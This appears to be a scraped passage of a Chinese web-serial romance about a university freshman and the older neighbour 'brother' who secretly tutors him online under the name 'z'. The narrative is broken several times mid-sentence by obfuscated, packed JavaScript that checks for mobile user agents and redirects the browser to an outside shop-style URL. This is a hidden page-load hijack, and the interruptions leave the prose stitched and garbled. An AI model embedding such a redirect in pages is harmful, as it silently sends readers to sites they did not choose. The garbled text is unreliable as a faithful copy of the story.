l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219187|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一种很熟悉的安全感包裹着他。 似乎天塌下来也有人顶着。 隔了片刻,z给他发来markdown的文档笔记。 闻昭打开,看到里面系统地讲解了一个知识点。 z耐心教他不会的课程内容,一个字符一个字符纠正他的代码。 那知识点,正是他在自己代码里,因为没学过这部分的知识,而百思不得其解的。 闻昭茫然往下读,读完后,瞬间醍醐灌顶。 他也顾不上别的,立刻打开自己的代码,重新在关键的地方改了几行,点击运行。 这次,一片通畅顺利! 闻昭简直激动地要从椅子上跳起来。 他匆匆拍了张照片发给z。 相纸什么时候降价:【橡树哥,你好厉害!】 【跑通啦也跑对啦】 【[仓鼠贴贴.jpg]】 z:【^_^】 z:【现在能睡个好觉了?】 相纸什么时候降价:【嗯嗯嗯嗯嗯嗯嗯嗯!】 闻昭收拾了桌面,轻手轻脚出宿舍门洗漱,回来后,借着手机屏幕微弱的光,爬上床,小心翼翼,不吵到舍友。 缩进被窝里,只露出一双眼睛,闻昭悄咪咪打字。 z:【以后有问题,昭昭不要自己钻牛角尖】 【可以来问问我吗】 相纸什么时候降价:【好耶好耶】 【以后我可要一直缠着你了!】 【今晚你整理文档笔记好辛苦ww】 【下次我们可以打语音通话!】 z停顿片刻,才回复:【好】 相纸什么时候降价:【我该怎么感谢你!】 【你要不给我一个你的地址吧】 【我想送你礼物】 【嘿嘿】 z:【又不是什么大事】 【就这么想感谢我?】 相纸什么时候降价:【嗯嗯嗯嗯嗯!】 z:【那我可要挟恩图报了】 相纸什么时候降价:【没事!】 【你说!】 【我什么都能答应】 【[仓鼠拍胸脯.jpg]】 z:【什么都能答应吗】 【我想要昭昭以身相许^_^】 闻昭:! 闻昭连忙打字:【这个不行!】 z:【不是说什么都能答应?】 闻昭脸颊涨红,他把整个人都埋进被子里,咬着下唇回复:【还……还有点早】 【下次再答应你这个……】 z也没过多纠缠。 z:【那叫哥哥吧】 【橡树哥听着好难听T^T】 夜色悄然,被子陷下去的弧度温柔软糯。 闻昭看着那可爱的金丝鼠头像,鬼使神差地,将早已打在对话框,却迟迟没能下定决心的消息发了出去。 【哥哥】 z:【在呢^_^】 【不早了,昭昭快睡,明天有早八】 相纸什么时候降价:【好~】 z:【晚安,昭昭】 相纸什么时候降价:【晚安,哥哥】 11. 第 11 章 z:【昭昭,还是宿舍楼栏杆旁边】 【给你点了早餐和热咖啡】 【省得跑食堂】 闻昭很少熬夜,昨晚几乎三点才睡着,感觉刚睡着,就听见闹钟响。 他无意识按掉闹钟,被子蒙住脑袋,像茧蛹一样Ω—Ω—Ω—,把自己卷起来又抻直,七点半才迷迷糊糊,顶着毛绒绒的头发,艰难爬起来。 洗漱过后,要赶不上早八,闻昭本打算放弃吃早饭了,却没成想,看到了z的消息。 他下楼,在上次同样的位置找到了同样的牛皮纸袋。 匆匆给z发过【早安】后,闻昭捡漏一辆没人扫的小黄车,火速往教学楼骑,踩着上课铃卡点进教室。 闻昭第一次在课上偷偷摸摸低下头,生疏地掏出手机。 z:【不急,课间慢慢吃】 【还有,是“早安,哥哥”】 相纸什么时候降价:【好噢,到教室啦哥哥】 【好困啊】 【我发现上下眼皮碰在一起好舒服】 z:【……?】 闻昭皮了一下,听见老师开始讲正课,连忙打字:【晚点再和你聊哦】 z:【嗯,先好好上课】 【乖乖】 【困就找个后排睡一觉】 【落下的知识点的我给你补课】 —— 不知不觉间,闻昭自己都没意识到,他和z聊天的频率越来越高。 飘零的落叶、天边的晚霞、梳毛的猫咪,甚至连一片奇形怪状的云彩,都能让闻昭下意识去摸手机,给z分享。 有时候跟井星航一起走,井星航贱兮兮想凑过来看,闻昭连忙把手机扣下。 “哦呦,昭咂,心动了?” 闻昭耳尖红得像是要滴血,他目光闪躲:“……没、没有。” “好好好没有就没有,”井星航嘿嘿笑,“你这种分享欲,跟正在谈的小情侣有什么区别,一看手机就傻乐。” 闻昭连忙抬手按住嘴角。 指尖落下,才反应过来井星航原来是在诈他,他反而自己心虚地对号入座了。 闻昭气鼓鼓地锤了他一下。 井星航一边笑一边求饶,一边连滚带爬跑去参加不知道什么活动了。 闻昭看着他离开的背影,缓缓放下手臂,瞥了眼消息。 相纸什么时候降价:【哥哥】 【今晚还有问题要问】 【[图片]】 【这部分代码我不会(理不直气也壮)】 【而且要打电话讲】 【[仓鼠叉腰.jpg]】 z:【好~】 【我晚上的时间都是昭昭的】 闻昭看着消息,弯了弯眼睛,丝毫没有意识到,他好像已经习惯跟z撒娇了。 明明一开始的时候,还拘谨得很,现在不知怎地,被对方纵容、惯着,让他的言语间也放肆起来。 像是在不动声色的诱导间,一点点被煮沸在温水里,等回过神时,闻昭早就习惯这种温度了。 他缓缓地,心动、期待、甚至……依恋。 还有些娇纵了。 反正……z总会陪他。 —— 赵危行眯着眼点开昭昭给他发来的图片。 昭昭这几天学习速度飞快,颇有一种一通百通的气势,问的问题也愈发复杂。 算是竞赛里最难的题目了。 多年没碰纯理论的赵总双手交叉,撑着下巴,沉默地注视着电脑屏幕。 被难住了。 半晌,赵危行推开办公室的门,找到自己正在工作的员工。 “……你会这道题吗?” 员工:“?” —— 上完一天的课,闻昭晚上休息时,上网给z挑礼物。 上次他缠着z发了居住地址,对方住在申城高新技术产业园区附近,上班方便。 考虑到z总要坐在电脑前打代码,闻昭买了个可调节的人体工学椅,邮了过去。 再晚点等z下班吃完饭,闻昭戴好耳机,开了个腾讯会议,用屏幕共享打开代码,把自己有疑问的地方讲给z听。 z给他讲知识点的时候,很有温柔,条理清晰,声音如一泓清泉一般,顺着耳机,缓缓流淌进闻昭心里。 有时候闻昭得到正确答案后,都被自己蠢笑了,拍了拍脑袋:“下次再卡在这儿,我把电脑吃了!” 说完,闻昭抱起电脑,用牙啃了啃笔记本屏幕的角。 唔,硌牙。 闻昭捂着腮帮子,忧愁,刚刚没收住力道,咬狠了。 就听见耳机里传来一声轻笑。 “真是属小仓鼠的?” 微微痒,带着回钩般,顺着耳膜,一路滑进心里。 闻昭不自觉捂住了发烫的耳朵。 z很耐心,从来不会嫌他问的问题低级。 只会说他可爱。 他哪里可爱了嘛! z的声音很清亮,跟闻昭预想的那种低沉的声线不同,第一次听见,闻昭还震惊了一下。 代码讲完了,闻昭还舍不得挂掉电话,他黏黏糊糊缠着对方要多聊一会。 闻昭没有打游戏的习惯,问过z,z说,他平时也不喜欢打游戏。 所以他们晚上讲完代码连着麦时,在电话两头,都是很安安静静做自己的事。 闻昭听着耳机里传来z敲键盘的声音,心绪会很奇异地静下来。 而他他翻书的窸窣声,也会随着传到z的耳朵里。 俩人偶尔冷不丁聊个一两句,气氛反而格外温馨。 “哥哥,我给你买了个椅子,坐在电脑桌前时间久了对腰不好,这个应该能缓解一点。” z:“嗯?” 闻昭:“明天应该就到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【麻烦了】 覃乐:【?我啥也不干净赚五百吗】 【那你经过我转手这一下子】 【我真有点没明白】 【行哥,首先说,我信任你嗷】 【但万一,我说万一嗷,这要不是个椅子。是个国家管制的东西】 赵危行:【……】 覃乐:【你得给我个理由,我可不想蹲局子】 赵危行:“……” 这会儿这么有法律意识了。 赵危行深吸一口气,咬牙切齿打字。 【我】 【网恋】 覃乐:【?】 【你网恋???】 【你?】 【网恋??】 赵危行:【男朋友在滨城】 【我没敢告诉他我也在滨城】 【是他送的礼物】 覃乐:【等一下】 【男朋友吗??】 【???】 12. 第 12 章 第二天组会开到一半,刘瑞利点的外卖到了。 他从来都对学生大方,时不时请学生们吃饭。 “小丁、小宋、小闻,老师请你们喝咖啡,自己挑。” 他拎着咖啡,乐呵呵进门,给闻昭他们三个一人一杯。 “谢谢老师!”闻昭跟着学长学姐,最后一个接过,刚好剩了杯温的。 少年弯弯眉眼,笑成一泓月牙,双手将咖啡捧在胸前。 刘瑞利没忍住捏了捏闻昭脸颊上的婴儿肥。 “诶哟好宝儿,真可爱。” 那脸蛋太软了,手感特别好。 丁丛菡猛吸了一大口咖啡,活过来了,看向闻昭,满脸羡慕,“学弟,我也想捏。” 宋骁阳一边乱揉闻昭的脸,一边哈哈大笑:“学姐,小心你那个小心眼的男朋友,学长可就又要吃醋了。” “哼!他还想管我?”丁丛菡一拍桌子,扑了过来,罪恶的爪子蠢蠢欲动。 闻昭懵懵的,还没反应过来,身上就挂了三个人。 “……” 每次跟刘老师、丁学姐和宋学长开组会,他的脸蛋就会被一顿搓搓。 刘瑞利刚准备坐下,瞥了眼手机,拍了下大腿。 “oi!我之前的师弟来了!” 宋骁阳“嗷”了一嗓子,呲牙咧嘴 ,“老师,你下次拍自己的腿啊!” “我去给他带个路,你们自个儿先讨论讨论。” 说着,接通了电话往外走,“你已经到啦?对……沿着往北走,新建的那栋楼就是,我下去接你。” 丁丛菡和宋骁阳搬着电脑,一左一右坐到闻昭身边。 指着屏幕上的代码:“学弟,刚刚我俩就想问了,你这部分代码我和学姐都觉得很巧妙,但是看不太懂,能给我们讲讲吗?” “噢噢,好!” 闻昭点点头,放下咖啡,认真地解释了一遍。 宋骁阳字正腔圆“我靠”了一声,“牛逼啊学弟,你这个思路!” 闻昭羞赧低头,说:“其实也不是我自己想出来的……” 这部分的代码,就是昨天他问z的问题,z晚上给他梳理了两小时,他才自己慢慢捋顺了其中关窍。 然后自己按着学会的知识,重新敲成这份成品。 看起来跑得还不错。 刚好可以攻克他们最近都一个难关。 于是闻昭又收获了一顿揉搓。 丁丛菡和宋骁阳太热情,闻昭捂着脸颊,悄无声息把自己缩成一团,趴到桌上,埋头啜饮咖啡。 讨论室的门被推开,刘瑞利笑呵呵走进来,打了个响指,引得几人抬头。 “小朋友们,我来介绍一下,这位风度翩翩俊朗不凡的帅哥,就是我之前的师弟。” 说着,刘瑞利骄傲又带着几分臭屁,让出位置,双手张开,浮夸地向后一摆。 在他身后,男人穿着挺括的灰色风衣,额前碎发的发梢搭在眉骨,戴着一副黑色半框眼镜,镜片后的眼尾微微垂着,面上挂着得体的笑容。 斯文有礼。 看到他们,男人微微颔首,指节轻推眼镜。 刘瑞利介绍:“咱滨城理工优秀毕业生、模范校友、青年企业家——赵危行!” 丁丛菡和宋骁阳纷纷站起身,礼貌打招呼:“师哥好!” 闻昭正吸了一大口咖啡,咽下去再连忙抬头时,比他们俩的动作稍慢了些。 视线滑过刘瑞利的双臂,落在来人身上时,闻昭瞬间瞪大眼睛。 “哥?!”闻昭震惊,立刻呛住了,“咳咳咳……” 赵危行的视线和闻昭对上,同样微微怔愣。 “昭……”赵危行脚尖向前半步,下意识抬手,就见昭昭身边的男同学已经抢先一步,帮着闻昭拍拍后背顺气。 宋骁阳关切地问:“没事吧学弟?” 闻昭摇摇头,站直了,偷偷抬眼瞅了瞅他哥,不知道为什么,明明也没干什么错事,这会儿就是觉得有些心虚。 赵危行目光缓缓从宋骁阳身上收回,顿了顿,看着正拍胸脯的小孩儿。 “闻昭?” 声音和缓低沉。 “诶?诶?”刘瑞利的视线在他们两人之间来回切换。 一拍大腿,恍然大悟,哈哈笑:“师弟,原来小闻昭就是你那宝贝弟弟啊!巧了嘛这不是!” 刘瑞利脸上洋溢着热情的笑,把赵危行拉到圆桌前坐好。 一番解释,闻昭才知道,原来七年前,他哥在学校做毕设的时候,刘瑞利是他哥同组里的博士后师哥,导师分配刘瑞利负责指导他哥的毕业论文。 其实说是指导,但赵危行有自己的思路,能力也强,严格自律,几乎独立地完成整篇论文,甚至申请了专利,刘瑞利都没怎么插得上手,非常没有存在感,在组里时,他甚至有时还拜托赵危行帮忙跑数据。 不过两人关系相处得不错,在赵危行创业初期,刘瑞利用自己的人脉,联系了不少同学,给赵危行的公司和产品出主意、解决技术困难。 后来两人都忙起自己的事,才渐渐疏于联系。 刘瑞利前几年在信息学院,最近这几年才到软件学院独立PI,就刚巧成了闻昭的授课老师,看闻昭好学,是个可塑之才,就带着一起打比赛。 今天是因为学校有介绍学生联培去企业实习的项目,赵危行作为优秀校友和青年企业家,应邀回学校商议细节,正事讨论后,顺路经过,想着看望一下之前的老师和师哥师姐。 没想到就这么巧,碰上了。 刘瑞利拍了拍赵危行的肩膀,说:“没想到你们开会开这么快,本来我寻思组会开完去找你吃个饭呢。” “嗐,世界真是小啊,你之前总昭昭昭昭这么喊,我们都不知道你弟弟全名。” 闻昭听见这话,眼眸暗了暗,把脑袋微微垂下去一点。 是哦,他哥之前只会亲昵地叫他“昭昭”,但现在,叫起大名来,冷冰冰的。 闻昭就是会莫名在意这些小细节。 他低着头,两只手缩在袖口,不住地用指甲压在拇指旁边,来回磋磨。 这是闻昭的一点坏习惯,在大考、重要面试前,或者一到焦虑思索的时候,总会无意识地用指甲抠拇指侧边的软肉,严重时还会抠出血。 赵危行坐在闻昭身边,微微垂眼,就瞥见了闻昭的小动作,他手腕向一旁动了动,抬手按住闻昭的手指,制止了他会伤到指尖的动作。 闻昭身子一僵,他哥单手就控制住他两只手。 手背上覆盖着柔和却不容置喙的力道,热度源源不断传来。 不需要说话,闻昭就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219189|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能知道他哥的意思。 圆桌上放了四台电脑,还有平板、书、适配器,电线和支架缠在一起,几乎遮住了桌面全部的地方。 没人看见他们这边的,微不可察的动作。 不知为何,闻昭莫名有些紧张,手掌心沁出薄汗,他动了动,想把手缩回来。 可手背上的力道却忽然一沉。 闻昭抽不回手,心虚不已,把头埋得更低。 刘瑞利声音欣喜:“早知道小闻昭是你弟弟,我就该早点约你出来聚一聚。” “最近工作比较忙,我也不知道,师哥你是闻昭的老师。”赵危行微笑着回应。 声音、姿态,皆是温良恭谨,说话滴水不漏,但手上的力道却加重了些,按住闻昭的手背,不让他乱动。 闻昭用力挣了挣,没挣开。 赵危行神色如常,坐姿端正,单看上半身,丝毫看不出他手上的动作。 他慢条斯理地说:“不过现在也不晚,今天晚上有空不如一起吃个饭,带着你的学生一起,我来请客。” 刘瑞利爽朗一笑:“行啊,那我可要狠狠宰你一顿了,师弟。 说着转头问:“小丁,小宋,你俩今晚有别的约不?” 丁丛菡和宋骁阳纷纷摇头。 刘瑞利高兴地说:“太好了!小闻昭肯定是跟他哥一起,有空。” 闻昭正低头跟他哥较劲儿,没听周围都在说什么,冷不丁被点名,心里一惊,唰地抬头,一脸茫然:“啊。” 赵危行不动声色地松手,替他答话:“嗯,他和我一起。” 刘瑞利开始攒局:“那不如一会儿开完组会,我们去打羽毛球吧?好久没和危行一起打球了,打完球晚上去吃饭,怎么样?” 赵危行颔首:“听师哥的。” 刘瑞利笑了:“今晚赵总请客,都不用客气,赵总一下子可是从我师弟变成我甲方了。” 正聊着,讨论室的门被敲响,竞赛的另一个指导老师老师推门进来,“瑞利,你找我啊。” 刘瑞利:“对的,秦老师,剩下一半内容需要你来把把关。” 说着,刘瑞利起身,嘱咐闻昭三人把内容汇报给秦老师,他带着赵危行先出去等一会儿。 刘瑞利搓着手,一直在赵危行身边念叨着:“真巧真巧。” 赵危行时不时应声几句,却没仔细听,隔着讨论室的玻璃窗,他的视线略过其他人,直直落在闻昭身上。 到正事上,昭昭肉眼可见地认真起来。 不像平时那个小迷糊蛋。 讨论室采光很好,仲秋时节的下午,鎏金的光顺着窗户慵懒洒进屋内,在桌边和电脑屏幕上泛起一层粼波。 阳光落在少年的侧脸,眉头微蹙,眼神专注得仿佛整个世界只剩下眼前一件事。 “师哥。” 赵危行忽然开口,打断了刘瑞利的碎嘴子。 “你怎么给昭昭那么大压力?” 刘瑞利愣了一下:“什么?” “他才大一。”赵危行转头,目光凝视着刘瑞利,“刚开学没多久,学的知识还不够,你让他跟大二大三的一起比赛,总得多给他点适应的时间吧?” “他连着一个多月,熬夜补课赶进度,都不敢休息。” “你这老师怎么当的,都不多过问一下?” 13. 第 13 章 “挂着指导教师的名,师哥指导了多少?” “每周下发任务就做等着下周收,至于有没有超出学生的能力范围,一点也不关注?” “不额外辅导,和捡牛马白打工有什么区别?” 赵危行很平静地垂眼凝视,没什么表情,只是脸上一贯挂着的得体的笑容却消失了,薄唇平成一道笔直的线。 隔着一层玻璃镜片,刘瑞利看不清赵危行的眼神,但只听声音就可以知道,赵危行生气了。 也是。 毕竟当初他们组里人都知道,危行师弟有个当心肝儿一样疼的弟弟,每次组里聚餐、晚上约着打游戏,赵危行都会拒绝,说有事要先回家。 问他为什么时,一直平静沉着的眼神里,就会闪烁些温和幸福的光泽,落上镜片。 说,要接昭昭放学、给昭昭做好吃的、辅导昭昭功课、陪昭昭看电视……总之,晚上的时间,都是昭昭的。 收拾电脑离开的尾音里,还带着些不易察觉的炫耀和满足。 刘瑞利第一次见赵危行翻脸,还是组里有个心直口快的同学,半开玩笑似的,说赵危行那弟弟都多大了还跟个生活不能自理似的缠着他哥。 当时,待人接物一向周全有礼的赵危行,脸色瞬间黑了,大步过去攥住对方的衣领,如果不是有人拦着,他险些能一拳把对方砸到地上。 从那之后,所有人都知道,赵危行是个十足的弟控。 刘瑞利直冒冷汗,连忙抬起双手:“不好意思啊师弟,是我疏忽了,你放心,以后我肯定多问问。” “师弟,别生气哈。我带学生都这么散养,也没一定要学生达到要求,只是给个方向,让他们慢慢研究。” 刘瑞利说,“但咱昭昭学得认真,要强,是个乖孩子,我以后跟他说说,不用非得做这么多工作,身体重要。” 谁跟你“咱昭昭”的。 昭昭是他的。 赵危行推了下眼镜,敛起眸中神色,轻声:“抱歉师哥,刚刚我有些急了。” “嗐,这有啥,你也是关心则乱。”刘瑞利乐呵呵的,没放在心上。 刘瑞利抬起胳膊,搭上赵危行肩膀,笑:“咱昭昭进步这么快,是你回去教的吧?” “是的。”赵危行坦然应下。 z教的就是他教的。 赵危行借着推眼镜的动作,不动声色让开刘瑞利的手臂。 “不愧是你啊!”刘瑞利说,“以后你弟弟就是我弟弟啦,在学校里我帮你照顾昭昭!” 赵危行回以微笑:“那多谢师哥。” 说完,他转头,目光重新透过讨论室的玻璃,落在昭昭身上。 明明只有几天没见,但赵危行总感觉自己已经太久没有这般看着昭昭了。 平日里碍于哥哥的身份无法久久直视,只能偷来几眼,现在好不容易有这种光明正大的时机,赵危行片刻都不愿放过,一瞬不瞬地盯着人看。 赵危行的视线几乎是黏在了少年的身上,藏在镜片后的眼神中,甚至带着一丝执拗与贪婪,要将他收尽眼底,连一根头发丝都不舍得放过。 但刘瑞利丝毫没察觉,说:“走吧师弟,咱先去羽毛球馆,我给小丁发消息了,让他们一会儿汇报完就去。” 刘瑞利拉着人就走。 赵危行:“……” —— 开过组会后,闻昭先回去换上羽球服和羽鞋,披上外套,看了眼手机。 z竟然从中午说开会后,就没给他发过消息。 真奇怪,这倒不像是z的作风了,以往z就算再忙,不到一小时也会给他仓鼠表情包,或者逗他玩。 或许z有重要的事? 闻昭没多想,嘴角噙着点笑意,一边单手骑车,一边兴致盎然地给z发语音消息。 相纸什么时候降价:【今天我哥来学校了!】 【你猜怎么着】 【超级巧!】 【我哥是我老师之前的师弟!】 闻昭吧啦吧啦把今天下午的趣事儿全讲给z。 【我们现在要去打羽毛球啦】 到羽毛球馆时,闻昭看见他哥和刘瑞利正在场上单打,丁丛菡坐在一边的长椅上换鞋,见他来,扬起手臂招呼。 闻昭走过去,把牌子放到一旁。 丁丛菡嗖地一声凑过来,看着场上的赵危行。 男人跳起,手臂有力挥拍而出,肌肉在衣服布料下紧紧绷出线条,破空声乍响,额前偏分的碎发随着动作扬起,露出额角,薄汗微微光亮。 她兴奋地转向闻昭,两眼放光:“学弟,我想问问你哥!” “嗯嗯?”闻昭歪歪脑袋,乖乖坐正了,等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219190|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁丛菡的问题。 “他凭什么头发那么多啊?!”丁丛菡崩溃地抓住自己一撮头发,“我自从学了软工,脸也黄了头也秃了发际线也后移了,头发在书上在地上在键盘上就是不在我的头上!” 闻昭愣愣睁大眼睛:“啊?” 他挠挠头,不知道怎么安慰学姐,卡了壳:“这个……这个……” 丁丛菡:“你知不知道你哥用什么牌子的洗发水啊?” 这个闻昭还真知道。 因为他初中的时候,赵危行创业步入正轨,总要出差,经常晚上不在家,他缺乏安全感,晚上钻进他哥屋里,抱着被子偷偷抹眼泪,嗅到一点点他哥熟悉的气息,才能睡着。 赵危行知道了,就把他的洗漱、生活用品,全都换成了和自己一样的。 洗发水、沐浴露、洗面奶、牙膏牙刷,味道一模一样,染在自己身上,闻昭才渐渐不往他哥床上钻,在屋里自己睡觉了。 这个习惯一直保留到现在。 闻昭的洗漱用品,都是赵危行买的。 闻昭报了个洗发水的牌子,想了想,又加上了个偶尔用的护发精油。 丁丛菡兴冲冲上网搜。 笑容僵住。 “……七百多吗?” 然后啪嗒一下按灭手机,往后一躺,感觉有点死了。 闻昭捂住脸,把自己缩成一团:“……” 丁丛菡挤出一个笑:“哈哈,那我还是跟我头发say goodbye吧。” 看场上两人快打得接近尾声,他们二人起来热身,宋骁阳不会打,说他在旁边看就行。 闻昭一边拉伸,一边和丁丛菡闲聊。 “学弟,我感觉你和你哥长得不像诶,差别好明显。你们一个像爸一个像妈?” 闻昭笑着解释:“当然应该不像呀,他是我邻居家的哥哥。” 丁丛菡震惊:“邻居吗?你们这关系也太好了。” 闻昭立刻点头:“嘿嘿,是!在我心里他和亲哥没什么区别!一样的!一家人!” 话音刚落,身后就传来一道沉沉的声音。 “闻昭。” 闻昭回头,“诶,哥!” “过来。” 赵危行垂眸看着他,声音平静,不辨喜怒,即使刚刚打了很久的球,也没有丝毫起伏。 14. 第 14 章 闻昭乖乖走到赵危行眼前,仰起头。 “怎么啦哥?” 赵危行垂眸,眼前的少年眼睛亮亮的,正专注地望着他。 “没事。”赵危行说。 只是那该死的占有欲,不想让昭昭对其他人笑得那么开心。 更不想听见“亲哥”这两个字。 他抬起手,指尖状若无意地滑过闻昭柔软的脸颊,落在额角处,帮闻昭把压在发带里的几缕额发挑出来,又正了正发带的角度。 “没带好,整理一下。” 闻昭习惯性往前一步,凑到赵危行身前很近的位置,顺着他哥的力道,把头仰得更高些,方便他哥帮忙。 目光单纯、无瑕,充满着本能的依赖。 赵危行仿佛是被灼到一般,匆匆收回手,侧了半步,轻咳一声:“好了。” “噢噢。” 闻昭双手抱住脑袋摸了摸,没感觉出发带的变化。 但他哥说整理好了,就是好了。 丁丛菡和刘瑞利一组,已经在场上等着了。 闻昭拿了牌子,三步并作两步上场,跟赵危行一组。 他以前打羽毛球时都是和他哥一对一,这还是第一次有机会,和赵危行做搭档。 闻昭心里雀跃极了。 两边拉了几回合热身,又打了十多分钟,开始渐入佳境。 这回是他哥在前场发球,闻昭默契地退到后场,沉下重心,目光专注地盯着羽毛球的动向。 嗖—— 丁丛菡是校队的,接球又稳又准。 一个高远球从对面场上急速飞来,超过了前场能接到的范围,赵危行没回头,没动,此时将整个后场全都交给闻昭处理。 完全信任。 闻昭目光紧紧锁住羽毛球队轨迹,眉头微沉,连呼吸都放轻,只剩下眼底那点专注的光,亮得惊人。 羽毛球破空而来,闻昭双脚点地,轻盈跃起,身体在空中微微后仰,弯成一道如弓般漂亮的弧度,从舒展到紧绷,猛地一刹,手腕骤沉发力! 啪! 球拍重重击中羽毛球,一道凌厉的弧线划破空气,直直朝着对面袭去。 羽毛球技术是擦着网的上沿,用杀球的速度,和一种极其刁钻的角度,迅猛有力地砸向对方的球场。 “好球!” 对面,刘瑞利和丁丛菡几乎是同时喝彩,眼中满是惊艳。 “学弟,以前不知道你打得这么好啊。”丁丛菡由衷感慨,“天才啊。” 闻昭一被夸奖,就有些不好意思,从认真地状态中脱离出来,眼神又开始憨住了,手都不知道往哪里放。 他抿了抿唇,嘿嘿轻笑,习惯性往赵危行身后躲。 “没有没有……是我哥之前教我打的,他比较厉害一点。” 他人生十八年至此,和赵危行在一起的时间比父母还多。吃饭是他哥教的,写字是他哥教的,算数是他哥教的,各种运动,也都是赵危行教的。 丁丛菡:“喔……!那师哥打我和老师还是手下留情了。” 赵危行将牌子在手里一转,淡声:“是闻昭一点就通,我起的作用不大。” 刘瑞利笑呵呵的:“你们兄弟俩还开始互相吹捧起来了。” 说着捡起了球,挥挥拍子,“来,继续!” 又打了大概半个小时,场上几人都出了点薄汗,商量着再打十分钟就休息。 正打得有来有回,这次轮到闻昭到了前场。 羽毛球从对面挑飞过来,闻昭跳起来接球的一瞬间,突然,余光中瞥见,一道白影从隔壁的场地唰地砸过来,不偏不倚正好落在他的脚下。 闻昭更多的注意力都落在接球上,没看清那白影是什么,起跳接球后,正在下落,他生怕踩坏那东西,本能调整姿势,往旁边闪。 可仓促间躲闪不及,动作调整不到位。 落地的那一瞬间,脚腕猛地往旁边一歪,剧痛瞬间钻心般袭来,闻昭闷哼一声,整个人摔在地上。 这一下摔得七荤八素,连带着耳膜都嗡嗡作响。 “昭昭!” 下一秒,闻昭就听见耳边传来一道急切的喊声,穿透混乱的嘈杂,稳稳落在耳朵里。 一只有力的臂膀圈住了他,他被搀扶着,慢慢向后靠,倚上坚实的胸膛。 赵危行在看见闻昭摔倒的一瞬间,心脏骤然悬空,扔了球拍,立刻冲到闻昭身边。 赵危行半抱着他,“摔倒哪儿了?哪里不舒服,让我看看。” 丁丛菡和刘瑞利也立刻赶了过来。 闻昭满头冷汗,他茫然地看向一旁。 脚边落着一个羽毛球,他刚刚跳起来余光中看到的白影就是这个羽毛球。 他为了避开这个羽毛球,崴到了脚。 这时,一旁场地上的两个男生匆匆跑了过来。 “对不起对不起,同学,你没事吧?” “我们刚刚那球没接好,没想到打到你们这边来了。没摔倒吧,同学,实在抱歉!” 话音刚落,就看见一旁那个戴眼镜的男人冷冷抬眼,目光像是淬在冰中一样森寒,微眯着眼,盯着他们。 两人瞬间噤声,一句话不敢吭,心里直打哆嗦。 赵危行漠然收回目光,低下头,神情瞬间变得柔和,温声对闻昭开口:“有没有好点?试试站起来走走。” 闻昭咬着嘴唇,点点头。 他攥紧赵危行的小臂,借着力道,一手撑着地,缓缓起身。 闻昭试着踩地,可左脚脚尖刚沾到地,受了些许力,就有剧痛传来,闻昭脸色瞬间惨白,整个人站不稳,往一旁栽倒在赵危行怀里。 “唔……哥,好疼。” 闻昭用力抓着赵危行的手腕,指节泛白,他死死咬着嘴唇,眉毛几乎蹙到了一处,豆大的冷汗从额头钻出,渗进发带里。 “我看看。” 赵危行声音很低。 他抬手挽下闻昭的袜子,就这么一会儿功夫,脚踝就已经肿了起来,皮肤绷得发凉,泛出一片骇人的青紫色。 赵危行脸色瞬间铁青。 “同学……我们实在对不住……” 隔壁场地的两个男生满脸愧疚,“我们送你去校医院……” “回来再找你们。” 赵危行弯腰捞起闻昭的腿弯,将闻昭整个人抱起来,直起身,沉沉的目光如刀子般落在那两人身上,厉声,“现在,让开!” 两人一时间吓得僵住了,手足无措。 闻昭脑袋埋在赵危行的胸前,他惨白着脸色,转头看了一眼,连忙轻轻拽了拽赵危行的衣服。 小声说:“哥,他们不是故意的……” 运动都难免受伤,对方也不知道自己下一球会偏到隔壁的场上。 闻昭没埋怨对方,只是觉得自己碰巧点背。 “不怪他们……” 赵危行脸色缓和了些,冷冷地看了那两个人一眼,没再耽搁时间,抱着闻昭,大步出了羽毛球馆,立刻驱车去了最近的医院。 “踝关节韧带扭伤,软组织挫伤加皮下出血。” 外科的人不算很多,拍了片子,幸好不是骨折,韧带也没有撕裂,算是不幸中的万幸了。 闻昭坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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医生正在噼里啪啦登记病历,头也不抬:“半个月吧,半个月之后慢慢走路,别大幅度跑跳,防止二次受伤。” 闻昭乖乖点头:“噢噢,好的。” 等赵危行取完药回来,刚要抱起闻昭,闻昭连忙拉住他哥的衣袖,小幅度晃了晃。 “哥,已经不是很疼啦,你搀着我就行。” 这么大人了再被公主抱着,还是有点丢人。 “好。”赵危行没多说什么。 闻昭紧紧扒住他哥的胳膊,一瘸一拐地回了家。 因为脚伤,最近住宿舍不太方便,赵危行就单独去了趟滨城理工,把闻昭的电脑和必备的电子用品、教材带回家。 洗漱用品和衣服都不用,家里有。 趁着他哥在厨房做晚饭,闻昭缩在沙发上,摸出手机。 都一下午了,z还是没给他发消息。 闻昭闷闷地托腮。 